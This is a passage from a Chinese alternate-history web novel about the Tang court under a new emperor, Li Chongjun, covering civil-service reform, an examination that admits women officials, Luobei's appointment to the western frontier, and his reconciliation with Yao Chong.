众人各个垂手低头,不敢说话。 张孝嵩朗声道: “奉上谕,张某来向诸位宣读一段奏疏。这是左拾遗张九龄上奏陛下的:‘近世爵禄失之者久,其失有四太:入仕之门太多,世胄之家太优,禄利之资太厚,督责之令太薄。 夫王者观变以制法,察时而立政。县令、刺史,陛下所与共理,尤亲于民者也。今京官出外,乃反以为斥逐,非少重其选不可。 臣以为当轻其禄利,重其督责。恢复铨考,量阙留人,唯才德是取。以历州县者先入台阁。’” 他宣读一毕,望向众人,声如洪钟: “诸位,这封奏疏已蒙圣上恩准了。自即日起,不论是科甲官、荫封官还是斜封官,均以此考评,吏部将会同御史台共同行事;才德高者升官,无才无德者罢免!” “张相公!”当下便有官员出列道,“敢问依附韦庶人等,可算得上无德?” 张孝嵩盯着他:“这自然算。” “先皇在世以来,韦庶人临朝摄政,大唐官员出自其手者不知凡几,难道朝廷要把这个时段提拔的官员都罢黜吗?” 他话音未落,旁边便有官员打断他:“哼,你小子是向韦庶人送了两棵珊瑚树才当上的官,在座的谁不知道啊!你不是依附韦庶人,还有谁是?” “你也配指点我?也不知道定昆池上的那两颗太湖石是谁进献过去的!” “哼,韦庶人、安乐等人弄权之时,我可从来没有给她们送过一点东西,我要弹劾你们!” 眼看大臣们吵吵嚷嚷,又要撕打起来,张孝嵩再度重重地拍了拍桌子:“吵什么!” “圣上也有恩旨!平时有依附韦庶人者,也望尔等幡然悔悟,上奏弹劾他们的罪行,朝廷自会酌情恩宽!” 他这样一喝,众人才算安静下来,在他安静且威严的目光下,灰溜溜地退了出去。 张孝嵩目光一扫,看到吏部几个瑟瑟发抖的郎中缩在一边,他轻轻咳嗽一声:“不要在那里站着,还有好些事情要做。走吧,我们回后堂去,再把这个章程细化细化。” “萧至忠老于政务,郭元振久在军旅,宋璟、张孝嵩都是刚正之人,有他们在朝中理事,陛下是可以高枕无忧的。” 黄昏时分,洛北奉命随同李重俊在大明宫中漫步。几日前的混乱已经不见踪迹,宫人们匆匆行走在宫中,为即将到来的新年做准备。 李重俊本有心事,见他这样说,下意识地顿住脚步:“洛卿,你真的不打算留在长安?尚书左仆射那个位置,朕是打算留给你的呀。” 洛北只得也顿住步子,依旧跟在皇帝身后:“陛下,微臣藩族出身,忝为封疆,已是朝廷恩重,入阁执政,只怕朝野非议啊。” 李重俊轻轻叹了口气:“那有什么关系,他们不是说英国公和卫国公可能也有胡人血统么?实在不行,朕就仿照太宗旧制赐你姓李好了!” “陛下,”洛北简直哭笑不得:“微臣的父亲娶了成纪县主为妻,微臣若蒙陛下赐姓,这辈分可就乱了套了。” “你……”李重俊佯怒道,“你就这么不喜欢长安?不喜欢留在朕的身边?” 洛北微微抬起眼眸看他,眼前这少年天子还未有一颗被权力侵蚀的澄澈之心,他无奈地叹了口气,道: “陛下,微臣自少年时入突厥牙帐,为默啜僚佐,尔来已有十五年,宦海沉浮,权力倾轧,人心之间的权谋算计,微臣所见太多太多,已经精疲力尽。” “何况,陛下新登大宝,已下令澄清吏治,与民休息。不应再为了微臣的去留掀起政潮。大唐的天下和朝廷,到了休养生息的时候了。” 这是肺腑之言,已经无所谓真假。李重俊听完,长长地叹息一声:“那好吧,洛卿,你打算什么时候前往西域?” 洛北道:“微臣还有几件事情要确认,其一,臣已命左卫将军郝灵荃秘密至东都护送先帝长子李重福回京。” 李重福是李显长子,因被韦后怀疑告密李重润之事才被流放。真论起继承序列来,或许会对李重俊造成威胁。所以洛北特别派去一位深受他信任的亲兵首领。 “是,朕打算和重福王兄谈一谈。给他个王爵,把他荣养起来吧。这个郝灵荃,倒是个有勇有谋之人,朕已经暗示过李多祚,等他荣休之后,以郝灵荃掌管他那边的禁军。” “微臣替郝灵荃谢主隆恩。”洛北要跪地行礼,又被李重俊双手托起,“洛卿,咱们之间还讲这个虚礼做什么?你若有心,吃过了郝灵荃的宴再走就是了。” “其二,相王、太平公主俱是陛下的父辈。但此二人最多追求权势富贵,并无争帝之。倒是相王的三子李隆基,以家人心腹窥伺宫禁在前,结交禁军在后,陛下……” 李重俊大惊失色:“临淄王兄,朕已经打算给他一个亲王爵位了,这还不能让他满足?” “人心不足蛇吞象,陛下,宫变之时李隆基大开杀戒,为的不仅是斩草除根,也为了把那几个府中的金银财宝都分给他的那些禁军朋友。如此罔顾命令也要施恩于禁军,他的胃口不会小的。陛下应当小心才是。” “那……那我该怎么办?”李重俊问。 他一时紧张,连“朕”都忘了说。 “临淄王那里自然要安抚,微臣久闻他喜欢乐律,陛下应当多赏他些乐工歌舞。至于他手下那些禁军,应当早早离开长安。” 洛北道: “陛下可以把他们派到边军去做将领。我、解琬、薛讷还有朔方的张仁愿,都是功勋卓著,年资深久,必能压得住这些人。” 李重俊点了点头:“我知道了,此事我会责成郭元振去办。只是他素和相王亲厚,难免在当中做手脚,洛卿可要看完了名单再走。” 洛北无奈,只得点头应下:“微臣遵命;还有最后一件事,算是微臣的请求。” “洛卿的请求?”李重俊好奇地望向洛北,对他来说,“永镇西域”这种把“洛北已经打下来的土地再封给洛北”的要求根本算不上要求——洛北淡泊名利,实在让他这位皇帝有些为难: “洛卿,凭尔立下的不世之功,什么样的请求朕都是可以答应的。” 洛北笑了:“那微臣先谢主隆恩。” 第213章 “朕在这十五张卷子之中,混进了三张女官的答卷。” 隆熙元年的正月十五, 新登位的皇帝李重俊在大明宫中赐宴在京的宗室及五品以上的官员。 他已在新年封笔之前,早早地颁下谕令,要求除长安、洛阳的五品之家居国丧外, 百姓婚丧嫁娶如故。 因此百姓之家欢庆鼓舞, 庆贺新年,大明宫中却是一派冷清景象。只有宫女们居住的野狐落里才有点欢庆的味道。 如今元宵赐宴,无疑是皇帝宣布自己已经除服,也准许这些宗室和高官们欢庆起来。 因而前来赴宴的宗室和官员们人人脸上一片喜气,打招呼时都带着笑容。有人恭贺刚刚回朝的宋璟重掌御史台, 有人与新任宰相的张孝嵩玩笑,还有人围在宰相萧至忠身边恭维不停。 郭元振在一片人群之中找到了洛北。这位功勋卓著的大唐军神正半抱着手臂,立在廊下看雪。 他大概是有意摆出这幅生人勿近的样子, 一身威压毫不收敛,惹得那些有意上前与他闲聊的王公大臣们纷纷避退三步之外。 “你也不怕他们联起手来参奏你。”郭元振与他玩笑道。 洛北回过头瞥了他一眼,半开玩笑半认真地道:“我如今兼任雍州长史, 节制京城内外一切兵马。恐怕陛下是不会希望我和这些宗室、宰相们走得太近的。” 郭元振笑了:“我听闻你向陛下请命永镇西域。急流勇退, 明哲保身……你比我们这些人要强得多啊。” “我只是厌倦了长安的生活。”洛北轻轻叹了口气:“敕勒川,阴山下,天似穹庐,笼盖四野。那里才是我的家乡。” “安定西域, 不是一日之功。有你镇在那里,是件好事。”郭元振笑了, “论知人知事,论算无遗策,我不如你。” 洛北已经猜到他这位老上级前来的缘由:“郭相公要同我解释当时临阵换帅之事吗?” 郭元振似乎没想到他会直接点出来, 闻言只是张口,几度说不出来话, 片刻才道:“我知道你不会班师,可我不能坐视你一个人就将大唐西陲扫荡一净,到了那个时候……” 郭元振轻轻一笑,没有继续说下去,如今李重俊顺利登基,洛北节制内外军事,再说别的话已经没有意义了。他轻轻吸了口微寒的冷风: “我已经自请辞去兵部尚书职务,前往幽州担任幽州都督及安东都护。” 幽州都督及安东都护便是管理契丹、奚族及高句丽灭亡后的辽东驻地的军政长官。 契丹人和奚人皆出身渔猎,骁勇善战,自万岁通天元年起兵反唐以来,一直是降而复叛,叛而复降。不光唐廷对他们颇为忌惮,就连于都斤山的突厥大汗也不得不分出兵马来看管他们。洛北的挚友阙特勤便是以镇压契丹和奚人的叛乱的战功收拢突厥人心的。 “后来我在长安,常常想起你在碎叶同我和解琬说的话。大唐在西域崩溃于令曾祖被杀之时,在辽东则崩溃于万岁通天元年的营州之乱。” 郭元振轻轻呼了口气,雾气在他面前结成一片白霜: “大唐威信崩溃只需一朝一夕,要重建起来却很难。但我决定去试一试……就像我们在凉州,你在安西那样试一试。” 郭元振言下之意,便是要重建大唐在北方的秩序——此等宏愿何其伟大,但又有何其之多的困难险阻? “当年武后爱将王孝杰复开西域,天下响动,可他也最终兵败东硖石谷。大帅,你可要……”洛北忍不住开口劝道。 郭元振有点费力拍了拍他的肩——不知从何时起,他已经需要仰望这个曾经走投无路的少年人了: “洛北,难道我离开了你,就不会打仗了吗?再说了,大唐在那个地方所面对的问题,又岂是一场两场胜仗就能解决得了的?” 他说这话时自有一种骄矜在身,那是这位“智胜吐蕃”、“大治凉州”、“稳定西域”的宰相应有的自豪。 洛北见他坚持,也不好再劝,只是轻轻点头。 “陛下赐宴的好时候,这么严肃做什么?”郭元振道,“以宰相头衔出外镇边,正是尽情显摆的时候,我都想好了,找我那些舞文弄墨的文坛朋友,写它个十来篇送行诗,一路传唱。说不准,我在北边也能弄出个‘雪夜破牙帐’的佳话来。” 他说到这里,终于哈哈大笑,背手向着灯火绚烂之处走去。 洛北望着他的背影,只得笑着摇了摇头,跟在他身后去参加宫宴了。 宫宴之上,太平公主和相王李旦是最耀眼的两个人。李重俊大方地恩赏给他们万户的封邑和各种恩赏,还任命李旦担任宗正令,总领宗室。 除却给姑姑和叔叔的各种赏赐之外,李重俊还当场宣布,要册立太平公主之子薛崇简为节郡王、相王之子临淄王李隆基为赵王,实封三百户。 李旦慌忙推辞:“小儿隆基屠戮无辜,杀孽太重,我已命他闭门思过。陛下降旨恩赏,实在太过。” 李重俊微微一笑,道:“相王不必推辞,为了他滥杀无辜之过,朕已经降了他的封邑,不过朕赏罚分明,这爵位他还是应当领受的。” 李旦见李重俊态度坚决,只得谢恩领旨。李重俊又转向太平公主,道:“姑姑,朕知道你一直为大唐操劳,此次政变,你也功不可没。朕封赏薛崇简,也算是对姑姑的一点心意。” 太平公主微微一笑,道:“陛下如此厚爱,臣感激不尽。陛下能顺利登基,乃是天命所归,臣只是尽了臣的本分。” 李重俊点了点头,道:“姑姑说得有理。今日是元宵佳节,朕特设此宴,与众卿同乐。来,大家举杯,为大唐的繁荣昌盛干杯!” 众官员纷纷举杯,齐声道:“愿我大唐繁荣昌盛,国泰民安!” 李重俊又道:“朕已经决定,明日大赦天下,宫女年满二十五岁者,予其归家,自由婚配。各州县和各衙署的在狱钦犯,除大逆之外,一律赦免,今年春日开恩科选士。” 这些是实打实的德政,也是皇帝登基之后惯常的做法。正值元宵佳节,又是大行封赏的时候 ,众位大臣不愿意在此刻违逆皇帝的想法,就连最以刚正著称的宋璟也高举酒杯相祝: “陛下圣明如此,大唐中兴有望。” 听了这话,李重俊终于忍不住丢给坐在武将前排的洛北一个眼神——宋璟这会儿夸他圣明,一会儿大概就要骂他不知体统了! 洛北比他沉得气得多,被皇帝这样瞪了一眼也岿然不动。李重俊无奈,只得自己开口: “诸位爱卿,朕今夜除了赐宴诸位以来,还召来今次吏部与御史台首次铨选为上等的十来位官吏,朕要效法殿试,在此与诸位爱卿考校他们一番。” 宋璟皱了皱眉,立刻就要开口进谏——皇帝这样做是在侵蚀吏部的权威,一旦开了此例,吏部便很难再决定铨选结果,而是要把这些六七品官员的任命都交给皇帝复核。 张孝嵩在他身侧,见他要上前,忙扯了一把他的袖子。 这么一打岔的功夫,太平公主率先叫好:“难得陛下有此雅兴,臣等自当作陪!” 李重俊笑道:“朕已命中书省、门下省及尚书省的官长们各出五题,混在一道,者五题是策论,考教他们的为政功底。同时命翰林院的才子们出了十五题诗词。还找了三法司的官员们出了十五题律法。如今题目皆在这三只锦袋之中。如今就请太平姑姑与相王叔选一题,朕再自选一题,以这三题去考教他们吧。” 相王李旦本来还要推辞,太平公主已等在了席边,待到宫娥走过来时,当即伸手抽出一张:“我抽好了。” 相王李旦此刻再退便有些不合时宜。他只得硬着头皮上前,在锦袋中摸出一张字条,当下也不敢看,双手放在宫娥托着的漆盘上,让她端着下去了。 中书令萧至忠将三题全部读出,便有女官将题目抄录成卷,带着一叠试卷走到偏殿中去了。 皇帝这葫芦里卖的是什么药? 其后的一个多时辰之内,虽然殿中歌舞不断,但殿中的宗室和大臣们无人在意。他们忍不住交头接耳,议论起皇帝此举的主张。 洛北所坐的位置靠近皇帝的右手,他素以军功著称,又久在边塞,自然不会有人找他谈论这些,他才得以坐在那里,微微闭着眼睛假寐一会儿: 上午郝灵荃把李重福送回了长安,他花了点功夫才在不惊起任何人注意的情况下把这位“先皇长子”送进宫。其中殚精竭虑之处不必多说,让他更加费心劳神的是,他竟真的发现了有人围绕在李重福身边图谋叛乱。 审、抓、问……一连串的望不到头的工作已经接连来到了他的案牍上,偏偏这样的机密事情他还难以假手于人。 他又望了一眼偏殿那边,已经有女官拿着一叠卷纸走了出来。李重俊没有叫停殿内歌舞,只叫人请太平公主、相王和众位宰相同他一道阅卷。 又是小半个时辰过去,众位宰相率先退出内殿之外,便有按耐不住的大臣问萧至忠:“萧相公,这都是谁的卷子啊?” “我也不知道。”萧至忠道,“陛下命人誊录了一遍卷子,名字也都糊了。我实在是看不出来到底是谁写的……” “陛下这么大费周折,到底是个什么意思?”他身边的一个礼部官员忍不住问。 “好了,不要议论了。”萧至忠眼看着皇帝的銮驾已转出内殿,忙打了个手势禁住众人。 “诸位爱卿。”李重俊依旧是一片温和笑容:“刚刚经过评议,这十五张卷子的考评皆在良等之上,可见吏部做事之用心,处事之公正,也可见朝中的一些参劾吏部及御史台的奏疏不实!” 张孝嵩终于长出一口气,他手心的衣袖都已被汗浸湿——这考试比他自己考科举殿试都紧张。 宋璟也长出一口气,看起来皇帝只是借此事给澄清吏治的他和张孝嵩撑腰,无意掌握这些官员的任命之权。 “不过,诸位爱卿不知道的是,朕在这十五张卷子之中,混进了三张女官的答卷。” 第214章 “难道只是因为一篇考卷署了女子的名字,就不值刚刚评出来的分数了?” 满座哗然。 就好像在沸水之中投入了一捧雪水, 片刻的沉寂之后,满座的王公大臣再度沸腾起来: 有人说皇帝蒙骗臣工是为不信,此试不能当真。有人说古来礼法男女有别, 岂可抛头露面。有人说自武后执政以来, 牝鸡司晨,阴阳倒置,致使我大唐天下国将不国…… 其中最刺耳的当属一句不知是哪位宗室发出的议论: “若准许女官,天下为何不可有皇太女?” 此言一出,殿中顿时寂静下来。连不少从来不问世事的藩臣贵酋也忍不住朝那边望去—— 这家伙, 不要命啦? 天下皆知已经被废为庶人和罪人安乐公主曾向李显求取皇太女之位,也皆知李重俊立而复废,而后再立的种种坎坷与安乐公主脱不了干系。如今当着政变上台的皇帝说这样的话, 是嫌自己脖子上的脑袋太重了? 李重俊勃然变色,正要说话时,一直静默不言的洛北忽而拍案而起: “国公这话叫人听不明白, 难道罪人安乐是个男儿身, 就可以坐上大唐皇位了?” “她仗着先皇宠爱,滥用民力,买卖官爵,私掳人口为奴婢, 强占昆明池不成,便拆除百姓之家为自己修建定昆池。定昆池修建之日, 京中满是黄雾……这一桩桩一件件罪行,罄竹难书,难道只要她是个皇子, 就应当予以宽恕?” 那宗室已知道自己说错了话,被吓得跪地不言, 见洛北开口垂问,只知道诺诺而已,哪里还敢与他辩驳: “不,不,自然不是。” “陛下品德高远,仁爱友善,朝野共知。先皇在世时便立为太子,如今登上帝位,更是天命所归。难道你要否认天命吗?” “老臣绝无此心!老臣口不择言,望陛下责罚!”那宗室一叩在地,连求饶的话都不敢说了。 有“天命所归”这句话,李重俊气也消了: “罢了,念在你年高,此后不要参与国家大事了。至于其他爱卿的谏言,朕也听到了,都不值一驳。譬如欺骗臣下之事吧,出题的是在场诸位,评卷的是朕和诸位宰相。难道只是因为一篇考卷署了女子的名字,就不值刚刚评出来的分数了?” 众臣被皇帝说得哑口无言。他们中不少人都是自女皇时代出仕为官,他们侍奉女主得了富贵,此刻再讲礼法……实在有些可笑。 宋璟就在这一片静默之中出列,他静静地向皇帝躬身道礼,才不紧不慢地开口:“陛下,臣有几句话不得不说,请陛下听臣一言。” 李重俊颔首:“宋相公请讲。” “臣奉旨回京以来,与吏部共同清查吏治。一清之下,顿觉触目惊心。自神龙革命以来,我大唐任命的官员比官职空缺多出三倍还多。这些人领受官爵官俸不说,他们和他们的家人皆免除傜役赋税,还有无数人依附他们,打着他们的名号兼并土地。天下百姓丢失土地,不能卖儿鬻女,甚至卖身为奴。这样下去,国将不国!” “就说一点吧,郭相公在兵部,应当知道,昔年贞观授给府兵的田地,如今尚存的能有多少?又有多少折冲府交不出兵来?” 宋璟深深吸了口气: “如今陛下以才德兼备,要准女官入朝,臣不敢反对。可微臣想求陛下不要操之过急,增设了女官,她们的丈夫、家族是不是也要同受其恩,免除赋税徭役……到了最后,只会助长土地兼并之势。我朝太宗文皇帝曾言,民如水,朝廷如舟。水可载舟,亦可覆舟。大唐的天下,经不起这样的折腾了。” 这是老成持重之言。李重俊高涨的情绪也减淡了下去。 自他本心而言,他自然不想让自己此举成为助力世家大族势力增长的推手。 可平心而论,平民百姓之家哪里供得起女儿读书?他这样拔擢出来的女官,必是出身世家大族。 “宋相公所言确是实情。”洛北再度开口,“但说到民情,宋相公还有几点不知。” 要是还看不出来此事有洛北在背后操纵,宋璟就枉在宦海沉浮了这些年,他站在那里,望着洛北长身玉立在桌后,低垂眼眸,温声同他辩驳: “微臣只说安西、北庭。这两大都护府因地处边疆,征战不断。男儿多从军旅,一切庶务皆由家中女子操持,便如北朝‘妇主门户’之旧制。去年微臣出兵河中,同时还为朝廷节省军费二十万钱,便是因为安西、北庭的妇女自结成社,纺布织纱,出街贩卖,使得我安西、北庭商税大增。乡野无男女,皆为生计忙。如今安西、北庭多少田地是女户撑着,若无女官与她们来往,大唐怎么收到赋税?” 看来这一步是不得不退了。宋璟轻轻叹息一声: “碎叶郡王所言虽是实情,但此乃边疆特殊情况。我朝立国之本在中原,中原之地,礼法纲常不可废。若贸然推行女官制度,恐会引发诸多不必要的纷争与混乱。” “陛下,臣以为,此事可先在安西、北庭等地试行。待时机成熟,再逐步推广至中原。如此,既能避免冲击中原礼法,又能充分发挥女子之才,为我大唐所用。” “宋相公所言甚是,明日开笔,朕便特下诏书,特许安西、北庭等地试行增设女官之制,并在大唐各地增设女学,教授女子。”李重俊道,“不过洛卿所言之特例,除了安西、北庭之外,还有一处。” 他有意卖了个关子,把众人的目光引到自己身上来:“就是宫中。” “禁宫之中,内外隔绝,即便是中书舍人等近臣,也不便常住宫中,替朕操持些常规文书。不过,纵容宫中妃嫔大肆与外男往来,也不是长久之计。” 李重俊道:“朕打算采纳上官太妃之议,在宫中设立专职女官司掌笔墨及内外宫禁之事。她们不会成为皇帝的妃嫔,而是同宫女们一样,年满二十五岁便可出宫嫁人。不婚者可留任宫中,教授皇子、公主,并由皇家奉养。朕会定期在科举中增设女科,供宫中拔擢女官。” 他所说的“上官太妃”正是上官婉儿,李重俊登基之初,便追封自己宫人出身的母亲为孝和皇后,将她陪葬李显陵墓。又以先皇妃嫔中,唯上官婉儿才高德著,拜为太妃,并立太子妃杨氏为皇后。这一次元宵殿试,也有上官婉儿的出谋划策。 宋璟略略沉吟片刻,平心而论,能以制度约束宫官们,反倒是件好事——宫官因为靠近皇帝,常因得到君主之信而肆意妄为。譬如斜封官,便是这些女人肆意妄为的产物。如今有了制度,明了身份,便可保证她们不再会侵夺大臣职权: “陛下能约束宫官,于大唐是件好事,臣愿意赞成,只是有一条,选拔宫官的准则当与大臣相同。” “这是自然。”李重俊道,“朕也会增设两名女御史监察女官。宋中丞以为可行否?” “微臣谢主隆恩。” 能让刚正的宋璟低头谢恩,李重俊忍不住轻轻一笑: “宋相公不必多礼。快到子夜了吧?走,咱们出去看烟花。” “陛下。”兵部侍郎张说开口凑趣道,“陛下还没有告诉我们,这殿试的前三名都是什么人呀?” 李重俊“哦”了一声,又道:“朕请太平姑姑公布如何?宴后朕也会把试卷送到礼部存档,各位王公大臣若有不服的,尽可以去查看。” 太平公主笑了一声:“是,臣领旨。” 她起身之间,已有宫人自那一叠未被糊名誊录的试卷中找出前三名的原卷,双手交到她手上: “第一名,左拾遗张九龄。” 张九龄是广东人,今年刚刚四十岁,他年少时有“神童”之名,弱冠之年就登进士第,为校书郎,后因曾在复立太子之事上仗义直言,又被拔擢为左拾遗。在场不少王公大臣都曾与他诗歌唱和,闻言赞叹一声一片。 “第二名,监察御史裴耀卿。” 这下殿中笑声更响了。还有不少人纷纷恭贺相王李旦,称赞他“有知人之明。”倒把人群之中的李旦搞得很是不好意思。 众所周知,裴耀卿是登童子第入仕,后来为相王赏识,才从秘书省正字到相王府典签,最后到了监察御史的位置上。如今裴耀卿也受到了皇帝的赏识,可见相王府人才辈出。 “第三名,虞国夫人褚沅。” 殿中再度寂静一片,众位王公大臣都齐刷刷地把目光投向洛北,有的羡慕,有的欣赏,有的喜悦,还有的带着点“此人不容小觑”的忌惮。 不过混久了官场,众人的失态都是片刻功夫,刹那之间,他们就调整好了心情,开始恭贺起洛北来。 “砰——”的一声,殿外烟花作响。李重俊打了个手势,示意一众人等都随他出去看烟花。 正在热闹的时候,也就没人刻意指摘礼法和规矩。洛北落在最后,与同样落在最后的张孝嵩相视一笑: “只能这样了,洛将军。” “是啊,只能先这样了。”洛北道,“孝嵩,多谢你。” 他金棕色的眼眸里目光诚挚,竟让张孝嵩有些不敢正视,他转过头去看烟花: “你我之间,还谈什么谢字?再说,若没有陛下授意,我也不敢在宋相公的眼皮子底下冒这样的险。” 洛北也望向天空,一道道亮光冲破了黑暗的天空,烟花声音越来越密,元宵佳节即将过去,新一天的晨曦将落在大唐的土地上。 第215章 “卿可愿再为宰相否?” 隆熙元年正月十六, 皇帝李重俊应西突厥十姓可汗阿史那献所请,下旨册封其长子洛北为新一任西突厥十姓可汗,左骁卫大将军, 金山道、定远道行军大总管, 使持节镇碛西,摄鸿胪卿事,节制已西诸藩国。 另以洛北重定河中,收复吐火罗之功,命其献俘太庙, 并以功加碎叶郡王实封三百户,其麾下军将及各判官、吏员皆官升一级。 同一日,兵部尚书郭元振自请外放河东, 担任营州都督兼安北都护。 姚崇是在数日之后的清晨得知这个消息的。那时他正在洗脸。 水是清晨烧好的滚水,此刻温度正好,他以那方柔软细腻的安西棉布略揩一揩面容, 正要再浸到水中, 耳边却不妨听到“使持节镇碛西”六个字。 他手中一抖,一盆温水径自泼到了自己身上。 家仆们纷纷低身去擦他身上的水,他却立在那里,浑然未觉, 手中那方棉布被他揉搓起来,开始隐然发皱。 “怎么了?夫君?”姚崇夫人刘氏听闻声响, 自珠帘之后移步出来,一脸急切地凑到他跟前,不由分说地擦起他脸上被溅起的水滴, “出事了?” 姚崇这才发觉自己失态至此,他深深叹息一声, 把手中棉布往盆中一抛,自己坐倒在椅子上,轻声一叹:“为夫处事不慎,眼看就要招致祸患了。” 刘夫人一时不解其意,自当年姚崇得罪五王被赶出长安以来,一直辗转在各州担任刺史——虽说是不能再享受宰相的诸多尊荣,但这些年长安刀光剑影,姚崇能远离斗争中心,做一方州牧,不能不说是一种幸运。 如今李重俊登位,以萧至忠、宋璟等人为相,重设铨考,澄清吏治,与民休息……朝野都称赞他有明君之相,太宗之风。怎么到了她的夫君这儿,就变成了一桩祸事了? 姚崇见她满脸不解,越发觉得头疼,他挥了挥手,把一众仆从都赶出房间,才道: “夫人是有所不知,世人多听安西、北庭的名号,何曾听过‘碛西’二字?” 刘夫人嗔了他一眼:“自家夫妻,还卖关子!” 姚崇本在唉声叹气,被这样一嗔,倒有了些力气: “夫人,碛西是指玉门关外的沙碛以西,统辖北庭安西两大都护府。陛下命其建节碛西,就是把西域诸事都交给了洛北——陛下对他信重如此,我之后哪里还能有活路啊。” 刘夫人眼皮一跳:“你胡说什么?年节才过,不吉利的话可不能说。他们不都说,当年洛北入朝,还是你和宋璟联名举荐的,如今宋璟在御史台大展身手,难道他还能忘了你?” “夫人是有所不知啊……”姚崇深深叹了口气,伸手招来刘夫人,在她耳边小声说了些阴谋诡计勾心斗角的往事,听得刘夫人柳眉一挑: “这话当真?!你真的把他卖给了武三思?” “我那时也是为了保住相王,不得已而为之啊。”姚崇深叹一声,伸手扶额,“不抛出一个人来转移武三思的注意力,武三思就会把矛头对准相王,用相王把李姓宗嗣都打下去……如此一来,大唐还是大唐吗?他那时官小权轻,又恰好因为一场马球侥幸得了陛下的青眼,真是再好不过的人选。” “结果你就把一个无辜的人推出去送死。”刘夫人忍不住点了点他的太阳穴,“你呀你呀,叫我说什么好。不过,既然是你秘密与崔湜会面,如今崔湜已死,不正好死无对证?” “官场上的事情,哪有什么死无对证。”姚崇闭上眼,“以洛北的聪明,不花多少功夫就会怀疑到我身上。夫人啊,你还是看看家里有多少值钱物什,早早地变卖了吧,换成金银,咱们流放的路上也好拿。” 他忽地睁开眼睛:“要不我也学郭元振,自请再外放得远些……广东?交趾?” “人家还没流放你,你就想着自己把自己流放了。”刘夫人“哼”了一声,转到内室去了。 “交趾都督不比流人强?”姚崇喊道,却听到内室厅里哐啷一片声响,生怕是他夫人出事,干脆起身转回室内,“怎么了,夫人?” 刘夫人一面数着妆匣里的金银首饰,一面瞪了他一眼:“怎么了?闯下这么大的祸,你还问我怎么了!我当然要看看我这儿有多少金银首饰,好变卖了凑成现钱啊。” 她话音未落,门外突然传来仆人们急促的敲门声:“老爷!老爷!有旨意!有旨意!” 皇帝手敕,秘召同州刺史姚崇入朝。 同州到长安距离不远,姚崇却生生走了半月才到。他到长安时,正好赶上今年恩科的学子涌入长安的时间,各家馆驿、客栈都挤满了人。为着保密,他不敢显露身份,只能同学子们挤在一道: “女科之事,早已有之。陛下不过使其规制,成为一例罢了。” “阴阳相济,相辅相成,便是礼法,也没不许女孩家读书不是?” “先放宫女,再开女科,我看呐,陛下是嫌现在的六宫粉黛不好看,要从民间找些美女来充实后宫。” “怎么,你挑个妾侍还考诗词歌赋和律法策论?” “可别想妾侍了。前些日子御史参奏有太常寺官员私纳家妾,贬良为妾,那小子立刻就被罢官回乡……如今正是朝廷整治吏治的时候,你生怕自己的小辫子不够多是不是?” “我可不敢,宋相公一向是认理不认亲的,张相公比他还要铁面无私……我听闻有远亲找他帮忙,被他下令丢出了府邸,那远亲还指着他的府门痛骂他不给面子,要杀他呢!” “张相公可是洛将军的监军御史,雪夜冲杀,奔袭千里都过来的人物,还能在乎这些威胁?” “如今可真是……”姚崇闭上窗户,把学子们叽叽喳喳的议论关在窗外。他睡的卧房靠后院,日日都能听到学子们品评皇帝的新政。 “如今可是什么?” 他未走到厅中,已经听到有声音从前厅传来。 这声音吐字分明,带着一点时兴的金陵洛下咏腔调。 姚崇听得分外耳熟,他快走几步,走到厅中,定睛一望——那负手立在那里看墙上那副石竹图的,不是洛北又是谁?! 姚崇正要行礼,洛北却摆了摆手将他止住,打了个手势示意他注意自己身侧那正笑眯眯地看过来的黄衣青年。 既然劳动战功赫赫,风头无两的洛北微服护送,此人身份可想而知。姚崇深吸一口气,跪倒在地:“微臣姚崇,见过陛下。吾皇万岁万岁万万岁!” “姚崇,你来得好慢啊。”李重俊笑道,“朕在长安等了你大半个月,你都没能来到宫中。没办法,朕只能效仿昔年蜀汉故事,亲自来请你了。” “微臣劳陛下等候,罪该万死!”姚崇只得又伏低脑袋,心中却不合时宜地想起自己丢在屋内桌上的那封请辞奏疏。 李重俊亲自上前一步,把他扶起来:“卿可愿再为宰相否?” 与许多大臣不同,被皇帝邀请入朝为相的姚崇没有惊喜,也没有受人赏识的得意之感,他心中只有无尽的困惑和不解。纵然和皇帝畅聊了一下午自己的主张,这种困惑和不解也没有丝毫减退。 因此,这一日深夜,碎叶郡王府中等来了一位不速之客——姚崇。 他被引到洛北的书房之中等待主人,百无聊赖,他便只能四下打量起来,那书房收拾得很雅致,但最吸引姚崇注意的还是那面充作屏风的巨大地图——自东面的玉门关到西面的西海,山川河流,一目了然。 “这是碛西地图。”洛北在他身后轻声道,“我收复河中和吐火罗,重建波斯都督府之后,在北庭各地设了十处绘影所,专司地图测绘,总图在碎叶城——这幅地图就是我从碎叶带来的。” “我不明白。”姚崇不解地望向他,“以你的功绩,大可以坐上宰相的位置。何必再回碛西去吃沙子?” 洛北一时没有回答他,只是伸手请他坐下:“姚公真的不想入朝为相?” “朝中有宋璟,有萧至忠,有新提拔的张孝嵩和岑義……本来也不必多我一个。” 姚崇见他不肯回答,只好先道出自己此来的目的, “我只是不明白,你为什么会向陛下举荐我?” “宋相公刚正,萧相公圆滑,孝嵩和岑義都是正直之人,想要澄清吏治,与民休息,他们都是很好的宰相。但如今的大唐需要的是一场变革,一场如风暴般的变革。” 洛北声音温和,平静一如往昔,姚崇却觉得领口有些发紧,他松了松圆领袍的衣领,露出斑斓花锦地内衬:“你觉得我是这个人选?” “主导变革的宰相,必须有手腕,有魄力,有决断,还得不怕担骂名。”洛北道,“满朝文武之中,唯有姚公勘此大任。所以,我向陛下举荐了您。” “哪怕我曾经为了相王向武三思出卖你?” 第216章 “实话就是,如今的大唐西陲只有我才能镇得住。” 说出这话花了姚崇很大的力气, 话音不落,他就几乎瘫在椅子上,只有一双眼睛钉在洛北身上, 生怕错过他一点反应。 洛北没有看他, 而是望着桌面,桌上的烛火映在他金棕色的眼眸里,照出一如既往的平静: “这几年,我征战南北,遍历大漠黄沙, 戈壁雪山,所遇者大小数百战,多的是以少击多, 以锐击重的苦战,其中艰险,不足为外人道。” “可是这数百战所受之伤, 都不及武三思刑讯我的那几天重。”洛北冷笑了一声, “如果说我不恨你,恐怕连我自己都骗不过去。” 姚崇脸上不免黯然,他深深叹息一声,身体却坐正了。 来此之前, 他已经料到洛北和李重俊掌握大权之日,便是他们这些相王党羽的倒台之时。 郭元振侥幸借着一点旧日的知遇之恩, 还可以外出镇边,图谋一时安宁。至于他自己便是死在长安城中,也是意料中事。 “不过, 要革除大唐自高宗皇帝以来的弊病,还百姓一个朗朗乾坤, 除了你姚崇之外,不做第二人想。”洛北闭上眼睛,轻轻一叹:“比起大唐天下的万千子民,我自己的私怨可以退居其次。” 